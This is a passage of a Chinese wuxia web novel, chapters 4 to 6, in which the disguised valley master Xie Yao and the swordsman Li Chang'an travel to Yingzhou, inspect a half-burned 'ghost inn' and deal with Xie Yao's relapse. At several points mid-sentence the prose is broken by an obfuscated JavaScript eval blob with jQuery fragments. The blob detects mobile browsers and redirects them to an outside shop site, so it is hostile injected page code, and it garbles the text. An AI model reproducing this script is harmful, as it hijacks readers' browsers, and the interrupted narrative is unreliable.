芳落踹了那人一脚:“抖什么?话都不会说么?” 男人勉强跪直了一点。 谢夭微笑道:“哪个长老说的?” 男人面露难色:“是……是……” 桃花谷四大长老,四个称号组合起来就为“穷凶极恶”,桃花谷原先的四大长老在十多年前那一战中死去其中之二,独独剩下“凶”和“极”。只是这两人也于那一战元气大双,已许久未曾出谷了。 “回去替我问长老好,就说我一切安好,不劳长老费心。”谢夭也不去听他的回答了,一步步朝他走近,弯腰去扶,在他耳边淡声道,“只是下次过来,不必带那么多的人了。” 男人额头上的冷汗顿时滴了下来:“不,不是的!只有我自己!” 谢夭手中松松地捏着几片花瓣,稍一用力,花瓣四散,没入密林深处,接着便听见扑通扑通的闷哼倒地声。 花瓣尽数没入潜行者眉心,只是一刹那,都已经死了。 “去吧。”谢夭微笑道。 男人转身就逃,谢夭见男人逃远,伸了个懒腰,满不在乎地一伸手,把还栖在自己手上的黑乌鸦递给芳落,嫌弃道:“鸟还你。你就不能养个叫声好听点的鸟吗?” “桃花谷的人也不知都是什么人才,一个你每天把鸟毒死再弄活,江问鹤热衷于把各种稀奇古怪的毒虫拿去泡酒,还有一堆整天试探我残没残废的长老,我有那么容易残废吗?你们没有一点正事要干吗?”谢夭奇怪道。 褚裕心道每天最没有正事的是你吧,热衷于种桃树和变着花地从桃花谷出逃。 谢夭看见芳落和褚裕无语的眼神,哽了一下,又一摆手,“走了。” “等等。”芳落道,“那小子是什么人?” 褚裕老老实实道:“那是归云山庄的少……” 谢夭捂住他的嘴,道:“路上遇见的侠士。” 褚裕心道归云山庄少庄主的身份有何不可说?况且芳落姑姑是他们桃花谷的人,又不是什么外人!那个小子才是外人吧! 但谢夭的手迟迟没有放下,褚裕心道咬一口算了,又终是没下去嘴。 “只是侠士而已?”芳落摸了摸肩膀上的鸟,“我看过了,那少年根骨奇佳,若是普通游侠,没有师承,不妨带入桃花谷。或者,我收了做徒弟也不是不行。” “他有师承。”谢夭沉默了一会儿,道,“他师父是谢白衣。” 芳落道:“那……那柄剑……” “青云。”谢夭道,“他师父传给他的。” 芳落咯咯一笑,“竟是谢白衣的弟子。如此,倒也不好抢别人徒弟了。” 谢夭沉默一会儿,又道:“没事走了。” “谷主。”芳落正色道,“现在全天下都知道桃花仙身上背着夜枭,也就是说全天下都在追杀您,就算杀不了,只要把消息报给当地的门派也能得到黄金百两,这段时间,最好还是先回谷。” 芳落沉默了一下,道:“就算不回谷,一定不要去颍州。” 褚裕想起李长安正是要带他们去颍州,一时嘴快问道:“为什么?” “江湖百家齐聚颍州调查松云剑的死因,人数堪比当年千金台,同时在颍州设了天罗地网,甚至请来了佛家,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711072|144555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要一去,通息铃一响,桃花谷身份必然败露。到时千人围攻,只怕……”芳落道。 谢夭道:“颍州是一定要去的。” 松云剑死得蹊跷,究竟是谁杀了松云剑,又为什么要嫁祸给桃花谷,必须要查清楚。 “那你是要跟那小子同行么?”芳落道,“归云山庄自数十年前那一战后便于桃花谷不共戴天,归云山庄之人个个恨不得把你千刀万剐,更何况他是谢白衣的徒弟,不管当年之事如何,他都对你恨之入骨……” “就是因为他是谢白衣的徒弟。”谢夭打断她道。 芳落道:“为什么?” 谢夭沉默了一会儿,微笑道:“谢白衣身为剑仙之首,可惜已经死了,他创的飞花三十六剑看不到了,如今还剩下这么一个徒弟,万一得到谢白衣真传一二呢?” 芳落不再说话了。 谢夭身为一个半残,在武学上的造诣再高那也是一个半残,谢夭很清楚这一点,所以在桃花谷数年也从没体现过什么对武学的追求,怎么如今就非要见天下第一剑仙的剑不可了? 谢夭往前走去,又忽然停住脚步,道:“对了,传令下去,以后我跟他同行的时候,不要来找我。” “违令者……”谢夭沉默了一下,一摆手道,“杀了吧。” 芳落对着谢夭的背影屈膝行了一礼,低头道:“是。” 褚裕不情不愿地跟着谢夭从林子里出来,听芳落姑姑那么一说,他忽然想回桃花谷种桃树了。他虽然一直想杀人,但还是怕死的,尤其是这种一听就一去不复返的送死。 李长安似乎还睡着。那少年背靠着一棵树,一身玄衣价值不菲,月光下隐隐闪着银光,眉目紧闭,微抿着嘴唇,月色下肤色白的近乎透明。只是他眉头皱着,就连握着剑的手都青筋暴起,不知梦见了什么。 谢夭靠着之前那棵树坐下,闭上眼睛佯装休息,褚裕也在他身边不情不愿地坐下来,心里还在想真的要跟着李长安去颍州?两人还没安顿好,就听得不远处一声冷冷淡淡的嗓音。 “去哪了?” 听见这一句,两人受惊的鸟似的猛然回头,却见那少年还靠着树,眼睛闭着,月光疏朗,照在少年高挺的鼻梁上。刚才一切仿佛幻听。 谢夭闭上眼睛佯装睡觉,又听得一声轻笑。 少年不知何时坐了起来,手支着头,好整以暇地看向他们,淡声道:“我问,你们去哪了?” 谢夭:“……” 李长安站起来,手里拎着剑走近,两人还在手忙脚乱,竟显出来几分可怜可笑,李长安却也不笑,拇指抵在剑鞘上,仿佛下一秒就能拔剑出鞘,只淡淡道:“半夜三更的,这个时候不怕了?” 褚裕瞪着他,一时起了杀心,上头之时也顾不上自己半分武功不会,只想着杀之而后快,他悄然调整内息,只要李长安再往前一步,就骤然发力。 李长安眉头微微一皱,拇指轻抚了下剑柄。 褚裕见状,手里的短刀正要出鞘,谢夭一个箭步挡在褚裕身前,站在两人中间,他往后侧头,眉眼冷着扫了褚裕一眼,只一眼就看得褚裕有些心惊,下意识想叫“谷主”,又生生忍住了。 谢夭又回头笑道:“怕是怕的,但是人有三急。” 褚裕心中不服,也只能不甘心地停下动作,短刀却仍未收起来。 “哦,这样。”李长安点点头,又看向密林某个方向,忽然拔剑出鞘,剑光一闪,剑气四溢,褚裕心下一惊,就要拔刀冲至谢夭前面,不管杀不杀得了李长安,都要下意识替谢夭挡下这一剑。 谢夭竟站在原地,动也不动,不仅如此,还反手捉住了褚裕,头也没回地用一只手把褚裕手里的刀卸了。 谁知青云剑并未砍向谢夭,而是削下一段树枝,迅猛飞将出去,直直飞向密林深处。 一根斩断的树枝飞至芳落身前,甚至树枝上剑意未消,笔直地插进地上。 芳落躲过那树枝,不放心地回头,心中暗暗惊道这少年年纪轻轻,内力竟已经如此之强,再过几年,超过谢白衣,甚至超过如今桃花仙都有可能。桃花谷与归云山庄血海深仇,若是放任下去,此人怕是个大麻烦。 李长安收剑:“你刚才去的,是在这个方向吗?” 谢夭收回目光,平静看着他道:“林子里太黑,实在不记得了。” 良久,李长安道:“明天我们启程去颍州,路途遥远,早些休息。” 转身瞬间,他手指捏了个剑诀,一道剑意悄无声息钻进谢夭经脉。 听完他的说辞,李长安越发确信这人不是普通人了。他已经在心底暗暗下定了主意,干脆把两人一起带到颍州望城,到时候是正派名门,还是魔教修士,抑或是桃花仙,无论如何,一探便知。 4. 望城山(一) 五日后,一行人便已到了颍州地界,再往前几十里,便是望城。 颍州地处东南,临山靠水,一条运河穿州而过,来往商贸极尽繁盛,颍州特产丝绸,素有十里船歌百里丝绸之称。因为来往商业众多,这里也能看见许久西域而来的稀奇古怪的玩意。 他们到时正赶上大集,三人缓缓步入集市,却没成想,在这集市正中央,整座城池最繁华的地方,立着一栋被烧毁一半的客栈。这客栈一半富丽堂皇,雕梁画栋,一半岌岌可危,烧得只剩下骨架,牌匾掉了一半,隐约能看出“富安”两个字。 在客栈周围,小贩摆摊叫卖无误,热闹至极,竟像是已经看习惯了这客栈。 三人站在客栈门前,抬头仰望,旁边一卖布匹的女子不知看到了什么,脸微微一红,对谢夭道:“公子身上这身衣服好生艳丽。” 谢夭今日穿了一身鹅黄,颜色轻轻柔柔地像刚发出来的新芽,手上一把题字折扇。只是刚入颍州,就引得不少女子朝他抛媚眼。 相处这几日,李长安就没看见过谢夭穿过黑白,都是彩色,他道:“也不知道你哪来这么多鲜艳衣裳。” “穿白的穿够了,”谢夭道,“再也不想穿白的了。” 李长安道:“归云山庄无人穿白衣。” 谢夭笑笑:“是么?百晓堂里倒是没提过,这是庄内的规矩么?” 李长安道:“算也不算。本就没人配穿白衣,若说规矩,后来,我定了一条。” 谢夭:“……” 这小子现在越来越出息了。就这么不想让他回去? 他看了李长安一眼,又撇开了视线。 谢夭指了指客栈,转头问那女子,道:“这烧毁了的客栈,如此伫立在城中,官府不管吗?” 女子见他们问起客栈,只低声说了一句:“不敢管。” 谢夭又问:“为何?” 女子不肯说话了,又转过头看他们,劝道:“我看几位年纪都轻,若是无事,还是早些走吧,颍州望城最近不太平。” 谢夭转头又问了几个人,对这客栈的来历都是三缄其口。最后谢夭选中了一个玩具摊,走过去边打听消息边挑挑拣拣。 李长安看着谢夭的手指在不停翻找,心说谢夭到底在找些什么?小孩子的玩意儿有什么可挑的,谢夭还是个七岁孩子吗?但不知为什么,他虽气不过,但竟安安静静地站在旁边等了起来。 谢夭一边挑一边道:“我们从外地过来,今夜怕是要住店,只是眼前这客栈怎么被烧了?” 摊主道:“住店啊,城西还有几家。至于眼前这家,那是万万不能住的,就算没被烧,也不能住!” 李长安道:“为何?” 摊主左右看了一眼,小声道:“这是鬼客栈!” 原来这城内最大的客栈就是富安客栈,足足起了三层楼,雕梁画栋,人来人往,纸醉金迷,好不气派。可富安客栈也有个传说,那就是这是栋鬼楼! 富安客栈白天生意热闹红火,但一到了晚上,就是鬼火森森,住在这富安客栈旁边的人还说,半夜里能听见客栈里传来的人不人鬼不鬼的哭号,声音又哑又难听。据说还有人在晚上看见过,富安客栈被火烧了一半的景象。 也不是没有人报过官,官府来了好几次都没什么发现,关键是白天一如往常,大厅里照样住满客人,而且富安客栈的东家对这事也不甚上心,甚至几次拒绝府衙的人进门。 人们又逐渐感觉富安客栈鬼楼的事是讹传。 可是就在半个月前,富安客栈突然被火烧了,一把火烧了富安客栈的一半,就跟之前那人在半夜里看见的景象一样。人们都说那把火是鬼火,富安客栈也被坐实成了鬼楼。 最关键的是,富安客栈里住的人不少,可一把火过后,客栈里没有找到尸体。 李长安道:“会不会是他们逃出来了?” 摊主道:“不可能,失火当晚百姓都赶来救火,没见过有人逃出来。就算是恰巧当时没被撞见,总该有人后来见过吧?但都没有,就像是凭空消失了。” 旁边另一摊主道:“还是有一尸体的,城东的林生就死在里面了。他刚刚从宁州回来,听说赚了一大笔钱,还没来得及就死在里面了。” 谢夭点点头,又觉得奇怪,道:“为何富安客栈有如此传说,还有人入住呢?” 摊主想了想,摇摇头道:“我也想知道,本地人是肯定不会去住的,最多只有外地人来住,但也不可能生意好到如此,据说富安客栈的房,千金难求。” “也不知为何二位这个时节来此,若是没什么事,还是早些走吧。”摊主又道。 谢夭笑道:“怎么?” 摊主道:“望城死人了!死得是江湖上大名鼎鼎的松云剑,就是那个想拜谢白衣为师的松云剑!这不现在全天下的人都赶过去了,如今住了半个月了,现在还在戒严!二位这个时节,可前往别前往望城,瓜田李下,万一被怀疑那就不好了。” 他想了想又补充道:“还有啊,千万别跟桃花扯上关系。他们说松云剑就是桃花仙杀的。那桃花仙也属实该死,魔教之人,到哪都是个祸害。杀了天下第一不说,如今又兴风作浪。” 谢夭疑惑问道:“这桃花仙是何许人也?怎得都怕他?” 摊主压低声音道:“桃花仙那可是有名的大魔头,要不然能惹得下江湖追杀令?他所到之处寸草不生,本就是个灾星!到哪哪的活物全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711073|144555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都死光,别说是人,就连路边的野草都得化成灰烬。” 所到之处寸草不生是真的,但活物全都死光实在有点夸大了,自己身边这褚裕和李长安不是活得好好的? 这霍家庄和松云剑案,真是把他大魔头的身份坐实了。 谢夭无奈失笑:“这桃花仙还真真是个灾星。” “若是谢白衣活着就好了……”男人话锋一转,“这桃花仙必定又丑又凶,不然怎得叫自己桃花仙,缺什么才叫什么。” 褚裕气不过,把手里那些小玩意儿摔回铺子上,横眉竖眼地问:“说的这么真?你见过桃花仙?” 摊主哎呦一声,忙去理摊上的东西,“我就随口一说,小兄弟你这是干什么?摔坏了是要赔钱的,这还真摔坏一件,你看你看!” 摊主拿着玩具抬头要给谢夭看,看到谢夭脸时,忽然一怔,手里玩具啪嗒掉了,彻底摔了个四分五裂,过了会儿道:“” 谢夭道:“是么?我没见过谢白衣,倒是也有人说过我像。” 摊主也是偶然得见谢白衣的画像,没仔细瞧过,如今乍一看谢夭觉得相像。 李长安冷冷道:“他不像。” 摊主看到李长安的冷脸,连忙陪笑道:“是是,剑仙谢白衣何许人也?” 谢夭头也不抬,拉长了调子,吊儿郎当地说:“对,不像。” 李长安没再接话,只冷眼看着谢夭在一堆破烂玩意儿里挑挑拣拣的手指,他心道今天必须看看谢夭要从这堆玩意儿里挑出来什么。却忽然发现那人食指指节上有一个不起眼的小疤,微微泛着红。 李长安很轻地眨了下眼睛,嘴上不耐烦道:“挑完没,走了。” “找到了!”谢夭从一堆小孩子的玩意儿挑出来一把只能当挂饰的小木剑,不过几寸长,他又随便从里面挑出来个拨浪鼓,对摊主道:“带着摔碎了的那个,一起结账。” 他把拨浪鼓塞到褚裕怀里,拍了拍他脑袋,道:“小孩子就该玩这个,别整天想着舞刀弄枪的。”又提溜起那柄小木剑,塞进自己袖子里。 他转身,仰头看着那已经烧毁了的富安客栈,似乎是在打量,随口问道:“晚上住哪?” 李长安抱着剑,也抬头看着那客栈,两人好整以暇地看了好一会儿。 沉默一阵后,谢夭勾起唇角:“那就走吧。” 褚裕倒是懵了:“住哪?” 谢夭道:“住这。”他已经走向了富安客栈。 “这地方闹鬼啊!你们刚才没听他说吗?要我复述一边吗?”褚裕急了,道,“再说了都被烧了怎么住!你们疯了!” 李长安淡淡道:“这不是还有半边吗?” 褚裕:“……” 5. 望城山(二) 富安客栈内全是烧剩下的灰烬,偶尔能看见几个被烧了一半的桌椅板凳,倒在地上。他们进了楼才发现这房子墙壁和承重都是用的砖石,也正因为此才没有被烧塌。上楼的楼梯已经被烧毁了,楼上更是没什么落脚的地方,整栋房子被烧得只剩了一个搭在外面的骨架。 三人扫视了整栋楼,除了死灰,连个尸体都没看见,更不用说什么鬼神。 褚裕小心翼翼地踮起脚尖走路,一路上避开柱子墙壁,生怕一个不小心房子塌了,他道:“看上去就是普通的火灾。官府的人也只是因为那些传说不敢过来收拾罢了。” 李长安却叹口气道:“看来确实没法住了。” 事到如今还想着住这里?褚裕一时气结,横眉竖眼看他,问道:“这一路上不是住荒郊野外就是住破庙的,如今还要住这闹鬼的客栈。你堂堂归云山庄二庄主,很缺钱?” 李长安道:“缺啊,钱谁不缺。” 三人正要往外走去,谢夭眼尾忽然一挑,似是看见了什么东西。他绕过倒塌的屏风,只见屏风后面赫然绑着一个人,已经被烧焦了,几乎辨认不出人形。 褚裕被吓了一跳,一转身抱上旁边柱子。 却见李长安慢慢蹲下,捻起一点灰尘,道:“女人。” 他站起来,又凝眉看了一会儿:“年纪不大,长相姣好。被绑在这,所以逃脱不了。” 谢夭点点头,从地上捻起一点她身上衣服碎片,道:“不错,还有她身上这身衣服,料子极好,是江南天蚕丝,普通人穿不了。” 李长安听了这话,偏头看了谢夭一眼,心道谢夭此人对江南事物了如指掌,难不成真是普通的江南富家公子?但青云剑为何会震?见他出剑又为何不躲,甚至见了尸体,也完全不惊慌失措? 褚裕结结巴巴道:“说、说不定只是个普通住客。还是快走吧。” 谢夭又抬头低头看了一圈,微笑道:“确实像是普通火灾。” 李长安看了眼天色,道:“先出去找客栈,太晚不好投宿。” 临走时,他意味深长地看了富安客栈的招牌一眼。 他当然知道不可能是普通火灾,不然绑一个女子只用布条就够了,为什么那后面,还散乱着粗如手腕的铁扣? 但如今还是先赶到望城山,查明谢夭的底细,解决桃花仙的事要紧。 城中最大的客栈就坐落在中轴线,三层牌楼,灯笼高挂,一个大大的酒旌迎风招展。颍州本就是商业中心,客栈生意爆满,再加上最近望城出了那么档子事,几乎全江湖人都赶过来了,住不进望城山,就住他们这里,再赶几十里路往返于望城山。 小二披着汗巾在门口迎客,吆喝道:“最后一间房!住店的抓紧了!” 小二远远看见一行三人,前面那个一身玄衣,手里拎着剑,表情极为冷淡。后面那公子衣服反而亮的扎眼,摇着折扇,另一只手甩着拨浪鼓。他身边那小孩倒是一脸的苦大仇深。 这一行人明明赶了很久的路,却并不让人觉得风尘仆仆。 小二一眼便认出来这是江湖人士,忙迎道:“三位客官可是要住店?我们这就剩一间房了,三位恐怕得挤一挤。” 褚裕愤然道:“让我们三个大男人一间房?!” 谢夭敲了他脑袋一下,道:“你才多大?”又笑着看向那小二,问道:“真连一间房都腾不出么?” 其实他也不是非要住两间,当年他带着李长安外出游历,都是住一起的。只是他感觉体内真气流动有些不对,似乎又要经脉逆行,也不知道是不是因为靠近了望城。要知道那里的城门可悬挂了数百个通息铃! 小二为难道:“客官你也知道,望城山最近出了那档子事,全天下的人都想来活捉桃花仙,这不是,房间实在紧张。” 李长安淡淡开口:“没关系,一间房就一间吧,我们挤一挤。” 小二领着三人进了客栈,收了银子之后正要领着人上楼,正巧有位客人从上面下来,拎了行李退房。小二满面春风地朝三人笑:“刚有客官退房了,三位真是有福之人,正巧,不用挤了。” 谢夭笑道:“那就要两间。” 褚裕心里松了一口气,两间房,他终于能睡床了。 “好嘞。”小二喜滋滋道,就要领人去房间。 李长安这时却看谢夭一眼,对小二道:“不用,就要一间,只要一间。” 虽说这五天来谢夭一直安安分分,但住两间房还是太危险了,万一人就跑了呢?更何况已经到了颍州地界,望城就在前方,这个时候人丢了岂非得不偿失? 褚裕道:“怎么只要一间!因为你穷?” 小二早就认出来了这三人身上衣服都价值不菲,怎得连一间房费都不肯多出? 李长安狡黠一笑:“对啊,因为我穷。” 褚裕又看向谢夭,苦哈哈道:“公子,我们多开一间。” 谢夭看出了李长安的顾虑,也没再坚持要两间,只目不斜视道:“别看我,我也穷。” 桃花谷确实穷。 一代魔教按理说每年缴纳的钱财应该不少,不说其他生意,就只算上搜刮百姓钱财这一项,就能有不少收入。但谢夭当了谷主,就下令严禁桃花谷人骚扰百姓,至于其他的什么生意,正经的留着,不正经的全砍了。可惜桃花谷本就没什么正经生意。 至此,桃花谷生意来源只剩了两项,一是卖桃,二是卖江问鹤配的药。谷中钱财锐减,芳落每次拿着账本来桃夭殿找谢夭,都想在他房梁上吊死。 小二腹诽一阵,心道白陪了那么多笑,只告诉三人房间号,又去门口吆喝去了:“最后一间房!” 进了屋,房间里只有一张床。 他盯着那张床冷冷哼了一声,心道果然不出自己所料。 三人先是站在房中面面相觑。谢夭一边说着“环境不错”一边悄悄往床边挪,褚裕看出来谢夭的意思,把手里东西一丢就往床上冲去。李长安却站着不动,只手腕一甩,不知扔出去了什么东西,只听得咕咚一声,竟是桌子上的筷子,笔直地没入了墙里。 屋内是死一般的沉寂。 谢夭不再偷偷摸摸往床边挪了,褚裕则停下动作瞪着李长安。 李长安无视两人目光,只一笑,道:“我睡床。诸君早些安寝。”说罢走到床边,剑搁到床里侧右手边,直接闭上眼睛睡了。 谢夭踹了还在瞪人的褚裕一脚,自顾自把行李抖落出来,道:“快点,打地铺。” 褚裕努力抑制心中怒气,压着声音道:“你到底什么时候教我杀人的本事?我忍不下去了,我早晚要宰了这小子。” “你说什么?”谢夭叹口气,闭着眼用手指揉自己太阳穴,“你看我这又开始头疼了,是要听问鹤先生的好好治一治了。” 褚裕哼了一声,心道谷主每次提起此事就开始推脱,最开始就不该跟在谷主身边,若是跟在穷凶极恶四大长老身边,怕是自己早已能舞刀弄剑了。他又看了眼谢夭,心中暗暗道,恐怕不是又开始头疼,是又开始装了。 谢夭是个乌鸦嘴的体质,他对此却没有半分意识。 睡到半夜,一语成谶。 头越来越痛了,眼睛耳朵也不清明,他努力调整自己的呼吸,但心跳仍是越来越快, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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谢夭冲李长安一笑:“李少侠,人有三急,这也不能去?” 李长安回身拎起剑,道:“我跟你一起去。” 褚裕没好气骂道:“你去个屁!这是我家公子,要去也是我去!” 谢夭语气冷下来:“我没这种癖好。”说完,再不理会他们两个,冷脸迈步,就要推开房间门之时,李长安匆匆赶上来,伸手搭住谢夭肩膀,道:“等一下。你……” 谢夭听他的话,一时间气不打一处来。 你什么? 你要跑? 谢夭被这小崽子气得太阳穴突突直跳,头更疼了,耳朵也嗡嗡作响。他要站不稳了,也顾不得那么多了,回身一掌劈在李长安脖颈上,直接将人打晕过去。打完身形一晃,一个踉跄扶住旁边的桌台。 谢夭已稳不住内息了,冷汗这时才大滴大滴地往下落,脸色愈发苍白,就连嘴唇都白了。 褚裕道:“谷主,要不去看看大夫吧!” “看什么!”谢夭冷冷道,“你是要几个民间郎中组团来看经脉如何逆行吗?” 每当这时谢夭都会头疼欲裂,身魂俱焚。江问鹤说经脉逆行会使人性情大变,宛如发狂。 “谷主,我不是……”褚裕崩溃地搓了搓脸,又拉着谢夭要走,“如果问鹤先生在就好了,我们现在就去找问鹤先生!” 谢夭听不清他在说什么,狠狠晃了晃脑袋,想要看清楚一点,睁眼却看见桌台上一盆兰花已经死了,勉强维持着活着时候的样子,一碰却是一片死灰。 一片死灰。 天生灾星。 谢夭看了看自己拍在桌上的那只手,有些讶异和不知所措,接着笑了笑,胡乱地把手藏在袖子里,又背到身后,勉强站稳了,道:“褚裕,把他弄到床上去。” 褚裕不忍心道:“谷主,那你呢?” 谢夭一个人走出房间,声音冷冷道:“别跟过来。” 6. 望城山(三) 夜半三更,此时已经宵禁,大街上只有巡逻的守卫军和走街串巷的打更人,秋冬寒风刮过街巷,刮得窗棂阵阵作响,已经没有几户人家亮着烛火了,到处都是一片死寂。 在这一片死寂中,缓缓出现了一个影影绰绰的人影。那人一身鹅黄衣裳,极薄,被风吹将起来。脚步有些踉跄,走近了,才发现那人脸色苍白得像纸,只有眼圈是红的,偏偏眼神里透出来一股阴沉狠厉。 酒馆值夜的小二正要关门打烊,远远看到这人,吓了一跳,心道怎得有人在这瑟瑟寒风里,独自一人走在三更半夜空无一人的颍州城?那身影看上去单薄,衣服穿得也薄,他一时间有些担心,颍州虽南,但真到了半夜里还是冻死过人的。 他不忍心道:“公子,住店吗?” 谢夭看都没看他,似是随意挥出一掌,街边停放的木车咔嚓一声裂成两半,薄唇轻启,只说了一个字: “滚。” 酒馆的灯火也熄了,街上除了月光再无灯火。谢夭对这里并不熟悉,循着记忆往前走去,他要找一个人少避风的地方,他记得城郊似有一座破庙。 破庙里住着两三个乞丐,破烂的被褥在地上铺着,捡来的蜡烛冒出豆大点的火光,周围扔着几个破碗,这些便是乞丐们的全部家伙什。 几个人围坐在一起,老乞丐正在讲他行乞多年见闻,正讲到那边他到千金台乞讨。蜡烛的火苗一晃一晃的,老乞丐用手护了下火苗,另一乞丐道:“风真大啊,要入冬了吧。” 正说着,一个人跌跌撞撞地掀开破庙前挂着的破布,谢夭扯了下唇角,轻声道:“劳驾。” 两三个乞丐抬头看他好一会儿,心里惋惜道此人长得这么标志,只可惜是个半残。一个约莫十八九岁的乞丐恶劣地在谢夭眼前伸出两根手指,晃了晃,看谢夭没有一点反应,嘻笑一声:“当真看不见。” 谢夭只眨了眨眼睛,实际上他能看见乞丐的晃动的手指,但浑身疼得让他做不出什么反应了,是以看上去就像个瞎子。 即使气息逆行促使谢夭焦躁,发狂,魔气四溢,但他现在也没什么力气去和人争斗了,浑身骨头都被两股力气冲撞,又不得不用尽力气去守住最后一点清明,现在连一句话都不想多说。 老乞丐瞪那人一眼,往里面挪了挪,让谢夭进去了,谢夭没走两步,老乞丐抓起一块破布扔给他:“里面还有块空地方,就这一晚上,天凉,盖上点。” 谢夭接过,还是打起一点精神,道:“多谢。” 里面很空旷,土制的神像倾颓,如今只剩了一个底座。 谢夭躺在破庙地上,浑身发冷,又紧了紧身上那块破布。那边几个乞丐又说起书来。 “到了千金台,后来呢?” “那日我在千金台整整讨到了这个数!”老乞丐骄傲地竖起一根手指,又闭上眼睛,仿佛在回想那天前今天的盛况,摇头晃脑道:“那日千金台金碧辉煌,亮如白昼。就在众人为博美人一笑绞尽脑汁之时,只见万树飞花,落红如雨,谢白衣就站在那千金台上,青云剑出,花落十里……” 耳边声音越来越小,耳鸣越来越重,谢夭还是捕捉到了一个名字。 千金台。 千金台…… 那是多少年前了? 如今想起来,遥远得像是上辈子。 世人皆说谢白衣骄纵一世,张扬至极,非要在天下人齐聚之时,在那千金高台之上,出个落红十里的风头。那年谢白衣风头正盛,没人能想到不久就身陨桃花谷,更不会有人想到,就连他自己也想不到,数年后,他会耳聋眼瞎地睡在这破庙。 体内的青云剑意还在横冲直撞,他裹紧身上的看不清颜色的破布,紧闭着眼,低声道:“青云,乖一点。” 说完,青云剑意的横冲直撞突然一停,接着便温和许多,像是化作一支涓涓细水,缓慢流在五脏六腑之间。 他终于舒服了一点,疼了半夜的脑袋也昏昏沉沉下去。 破庙一夜,未曾梦到当年千金台。 翌日一早,老乞丐醒了先去破庙里去寻那个年轻人,却见破庙里空空如也,只有随手给他的破毯子叠得整整齐齐。 那年轻人一个病秧子,自己怎么离开? 老乞丐正要去寻他,低头却吓了一跳。 青天白日下,破庙周围树木杂草,全为灰烬,几乎死绝。 — 谢夭出了破庙,先是随便寻了一家酒肆梳洗,又换了一身干净衣服,这才回了客栈。刚一推门,立刻看到睡在地上的褚裕像小兽一样跳起来,看清来人,惊喜道:“谷主!” 谢夭嘘了一声,偏头看了眼那边的床,道:“还没醒?” 褚裕撇撇嘴道:“没呢。” 谢夭走过去,坐到床边,静静看着他的眉眼。 李长安眉头紧皱,不知梦见了什么。 那时桃花谷还不叫桃花谷,就叫恶人谷,站在恶人谷外,能看见下方弥散的阴沉瘴气。山崖之上,大军蓄势待发。 “等我回来,就教你落花剑最后一式。”谢白衣站在猎猎山风中,头上红色系带飞舞,他随手将青云剑丢给李长安,施展轻功纵身一跃,朗声笑道:“剑先存你这,等我回来取。” 这是李长安不知道多少次梦见这个场景了。 这是他和谢白衣的最后一面。 李长安在梦里什么也说不出,他疯了一样想去抓他衣摆,在心底无措道:“不要走……” “不要死……” 梦境中燃起熊熊大火,瘴气翻涌,恶人谷中越来越多的血,像是谷内绽放了十里常开不败的桃花,无数痛苦的嘶吼充斥李长安脑海,十三岁的他抱着青云剑,孤身一人站在梦魇中心,执拗又倔强。 “师父!”李长安大喊出声,猛然翻身坐起,下意识抓住眼前人的衣袖,眼里惊恐还未散去,三魂七魄像是还在桃花谷外。 谢夭忽然听见他叫师父,差点就要应了,又硬生生忍住了,心底五味杂陈,沉吟半晌,道:“……李少侠?” 李长安懵了两秒钟,反应过来之后深吸一口气,这才抬眼看他。 只见谢夭的视线在他身上转了一圈,李长安这才看见自己抓着他衣袖的手,他愣一下,慌忙把手松了,道:“抱歉,我不是故意的。” 谢夭一笑,道:“嗯,我知道。” 李长安道:“你听见什么了吗?” 谢夭似笑非笑:“好像听到了。” 李长安别过脸,立刻抓起外衣,边套边道:“你什么都没听见。” 他不想喊谢白衣师父,自谢白衣杳无音讯,他从来都直呼其名,从不喊他师父,有时候李长安也想知道为什么,但每次探究到一半,他又觉得不能细想。 偏偏这次在梦里喊出来了,好巧不巧,还被谢夭给听见了。 穿衣下床,李长安回头看还坐在床上的谢夭,想了一会儿,还是开口问:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711075|144555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你昨天晚上……不舒服?” 谢夭本以为李长安要问他昨天晚上去了哪,是不是要逃跑,结果听到他说“不舒服”三个字,心尖忽然就软了一下。 他没回答这个问题,反问道:“李少侠,我能问你个问题么?” 李长安道:“你问。” 谢夭道:“你来颍州,为了什么?” 李长安道:“因为桃花仙。不止颍州,我出归云山庄,就是因为他。” 芳落早就说过他们一行多有凶险,归云山庄的人都恨桃花谷,谢白衣的徒弟更不会例外。只是谢夭还是没想到,李长安竟然追逐桃花仙将近七年了,也在此事间困了七年了。 李长安又道:“其实我一直怀疑你。我在你身体里种剑意,带你来颍州望城,住同一间房,晚上非要跟着你,都是因为怕你跑了。” 谢夭道:“从什么时候?” 李长安平静看他,道:“从第一眼。” 